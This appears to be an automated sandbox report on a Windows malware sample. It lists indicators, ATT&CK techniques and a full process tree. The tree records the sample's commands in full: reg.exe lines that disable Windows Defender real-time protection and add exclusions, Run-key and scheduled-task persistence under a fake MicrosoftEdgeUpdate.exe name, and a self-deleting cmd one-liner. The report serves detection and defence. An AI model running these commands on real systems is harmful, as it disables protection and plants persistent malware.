993d96bfcf8e3428114dab432f72940ad688b08d7b6842b6b869d8a94ddb5ddd

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 18 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs

resource	yara_rule
behavioral1/files/0x00080000000244ad-6.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Executes dropped EXE 2 IoCs

pid	Process
1960	MicrosoftEdgeUpdate.exe
4168	MicrosoftEdgeUpdate.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdateBackground = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdateBackground = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe"	reg.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
6	pastebin.com
7	pastebin.com
39	pastebin.com

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4720	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1792	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MicrosoftEdgeUpdate.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

pid	Process
1840	reg.exe
4620	reg.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4100	schtasks.exe
1560	schtasks.exe
1460	schtasks.exe
2236	schtasks.exe
4664	schtasks.exe
4088	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4720	powershell.exe
4720	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4720	powershell.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 4348 wrote to memory of 536	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	83
PID 4348 wrote to memory of 4644	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	85
PID 4348 wrote to memory of 4996	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	87
PID 4348 wrote to memory of 568	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	89
PID 4348 wrote to memory of 2660	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	91
PID 4348 wrote to memory of 1856	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	93
PID 4348 wrote to memory of 4452	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	95
PID 4348 wrote to memory of 1504	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	97
PID 4348 wrote to memory of 4912	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	99
PID 4348 wrote to memory of 3376	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	101
PID 3376 wrote to memory of 4544	3376	net.exe	103
PID 4348 wrote to memory of 3188	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	104
PID 4348 wrote to memory of 4100	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	106
PID 4348 wrote to memory of 1236	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	108
PID 4348 wrote to memory of 1560	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	110
PID 4348 wrote to memory of 1840	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	112
PID 4348 wrote to memory of 1960	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	114
PID 4348 wrote to memory of 1792	4348	2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe	115
PID 1960 wrote to memory of 3436	1960	MicrosoftEdgeUpdate.exe	117
PID 1960 wrote to memory of 2780	1960	MicrosoftEdgeUpdate.exe	119
PID 1792 wrote to memory of 5060	1792	cmd.exe	122
PID 1960 wrote to memory of 216	1960	MicrosoftEdgeUpdate.exe	123
PID 1960 wrote to memory of 4684	1960	MicrosoftEdgeUpdate.exe	125
PID 4168 wrote to memory of 4624	4168	MicrosoftEdgeUpdate.exe	128
PID 1960 wrote to memory of 3236	1960	MicrosoftEdgeUpdate.exe	130
PID 4168 wrote to memory of 2940	4168	MicrosoftEdgeUpdate.exe	132
PID 4168 wrote to memory of 2456	4168	MicrosoftEdgeUpdate.exe	134
PID 1960 wrote to memory of 2396	1960	MicrosoftEdgeUpdate.exe	136
PID 4168 wrote to memory of 1336	4168	MicrosoftEdgeUpdate.exe	138
PID 1960 wrote to memory of 3096	1960	MicrosoftEdgeUpdate.exe	140
PID 4168 wrote to memory of 3560	4168	MicrosoftEdgeUpdate.exe	142
PID 1960 wrote to memory of 3268	1960	MicrosoftEdgeUpdate.exe	144
PID 4168 wrote to memory of 2404	4168	MicrosoftEdgeUpdate.exe	146
PID 4168 wrote to memory of 312	4168	MicrosoftEdgeUpdate.exe	148
PID 4168 wrote to memory of 4884	4168	MicrosoftEdgeUpdate.exe	150
PID 1960 wrote to memory of 4892	1960	MicrosoftEdgeUpdate.exe	152
PID 4168 wrote to memory of 1972	4168	MicrosoftEdgeUpdate.exe	154
PID 1960 wrote to memory of 4064	1960	MicrosoftEdgeUpdate.exe	156
PID 4064 wrote to memory of 1420	4064	net.exe	159
PID 1960 wrote to memory of 2596	1960	MicrosoftEdgeUpdate.exe	160
PID 1960 wrote to memory of 1460	1960	MicrosoftEdgeUpdate.exe	162
PID 1960 wrote to memory of 4216	1960	MicrosoftEdgeUpdate.exe	164
PID 1960 wrote to memory of 2236	1960	MicrosoftEdgeUpdate.exe	166
PID 1960 wrote to memory of 4620	1960	MicrosoftEdgeUpdate.exe	168
PID 1960 wrote to memory of 1824	1960	MicrosoftEdgeUpdate.exe	170
PID 1824 wrote to memory of 4752	1824	net.exe	172
PID 1960 wrote to memory of 840	1960	MicrosoftEdgeUpdate.exe	173
PID 1960 wrote to memory of 2420	1960	MicrosoftEdgeUpdate.exe	175
PID 1960 wrote to memory of 4664	1960	MicrosoftEdgeUpdate.exe	177
PID 1960 wrote to memory of 3864	1960	MicrosoftEdgeUpdate.exe	179
PID 1960 wrote to memory of 2992	1960	MicrosoftEdgeUpdate.exe	181
PID 1960 wrote to memory of 4912	1960	MicrosoftEdgeUpdate.exe	183
PID 1960 wrote to memory of 4088	1960	MicrosoftEdgeUpdate.exe	187
PID 1960 wrote to memory of 4524	1960	MicrosoftEdgeUpdate.exe	189
PID 1960 wrote to memory of 4720	1960	MicrosoftEdgeUpdate.exe	201

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4348
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
  2⤵
  PID:536
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /reg:64
  2⤵
  PID:4644
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableRealtimeMonitoring /t REG_DWORD /d 1
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4996
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableOnAccessProtection /t REG_DWORD /d 1
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:568
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableBehaviorMonitoring /t REG_DWORD /d 1
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2660
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f /reg:64 /v DisableAntiSpyware /t REG_DWORD /d 1
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:1856
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate /t REG_DWORD /d 0 /f /reg:64
  2⤵
  PID:4452
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .exe /t REG_DWORD /d 0 /f /reg:64
  2⤵
  PID:1504
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .tmp /t REG_DWORD /d 0 /f /reg:64
  2⤵
  PID:4912
- C:\Windows\system32\net.exe
  "net" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3376
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4544
- C:\Windows\system32\schtasks.exe
  "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskCore
  2⤵
  PID:3188
- C:\Windows\system32\schtasks.exe
  "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskCore /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskCore.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4100
- C:\Windows\system32\schtasks.exe
  "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskSession
  2⤵
  PID:1236
- C:\Windows\system32\schtasks.exe
  "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskSession /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskSession.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1560
- C:\Windows\system32\reg.exe
  "reg" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MicrosoftEdgeUpdateBackground /t REG_SZ /f /d C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1840
- C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
  "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Suspicious use of WriteProcessMemory
  PID:1960
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
    3⤵
    PID:3436
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /reg:64
    3⤵
    PID:2780
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableRealtimeMonitoring /t REG_DWORD /d 1
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:216
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableOnAccessProtection /t REG_DWORD /d 1
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4684
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableBehaviorMonitoring /t REG_DWORD /d 1
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3236
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f /reg:64 /v DisableAntiSpyware /t REG_DWORD /d 1
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:2396
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:3096
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .exe /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:3268
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .tmp /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:4892
- - C:\Windows\system32\net.exe
    "net" session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4064
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1420
- - C:\Windows\system32\schtasks.exe
    "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskCore
    3⤵
    PID:2596
- - C:\Windows\system32\schtasks.exe
    "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskCore /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskCore.xml
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1460
- - C:\Windows\system32\schtasks.exe
    "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskSession
    3⤵
    PID:4216
- - C:\Windows\system32\schtasks.exe
    "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskSession /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskSession.xml
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2236
- - C:\Windows\system32\reg.exe
    "reg" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MicrosoftEdgeUpdateBackground /t REG_SZ /f /d C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:4620
- - C:\Windows\system32\net.exe
    "net" session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1824
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4752
- - C:\Windows\system32\schtasks.exe
    "schtasks" /Query /TN MicrosoftEdgeUpdateBackgroundTaskCore
    3⤵
    PID:840
- - C:\Windows\system32\schtasks.exe
    "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskCore
    3⤵
    PID:2420
- - C:\Windows\system32\schtasks.exe
    "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskCore /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskCore.xml
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4664
- - C:\Windows\system32\schtasks.exe
    "schtasks" /Query /TN MicrosoftEdgeUpdateBackgroundTaskCore
    3⤵
    PID:3864
- - C:\Windows\system32\schtasks.exe
    "schtasks" /Query /TN MicrosoftEdgeUpdateBackgroundTaskSession
    3⤵
    PID:2992
- - C:\Windows\system32\schtasks.exe
    "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskSession
    3⤵
    PID:4912
- - C:\Windows\system32\schtasks.exe
    "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskSession /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskSession.xml
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4088
- - C:\Windows\system32\schtasks.exe
    "schtasks" /Query /TN MicrosoftEdgeUpdateBackgroundTaskSession
    3⤵
    PID:4524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -NoProfile -Command "Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4720
- C:\Windows\system32\cmd.exe
  "cmd" /C "choice /C Y /N /D Y /T 3 & Del \"C:\Users\Admin\AppData\Local\Temp\2026-08-07_99ec9cc50d19b7aa4293f8064132beb5_akira_cobalt-strike_glassworm_icedid_rusty-stealer_satacom.exe\""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:5060

C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4168
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
  2⤵
  PID:4624
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /reg:64
  2⤵
  PID:2940
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableRealtimeMonitoring /t REG_DWORD /d 1
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2456
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableOnAccessProtection /t REG_DWORD /d 1
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1336
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableBehaviorMonitoring /t REG_DWORD /d 1
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3560
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f /reg:64 /v DisableAntiSpyware /t REG_DWORD /d 1
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:2404
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate /t REG_DWORD /d 0 /f /reg:64
  2⤵
  PID:312
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .exe /t REG_DWORD /d 0 /f /reg:64
  2⤵
  PID:4884
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .tmp /t REG_DWORD /d 0 /f /reg:64
  2⤵
  PID:1972

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry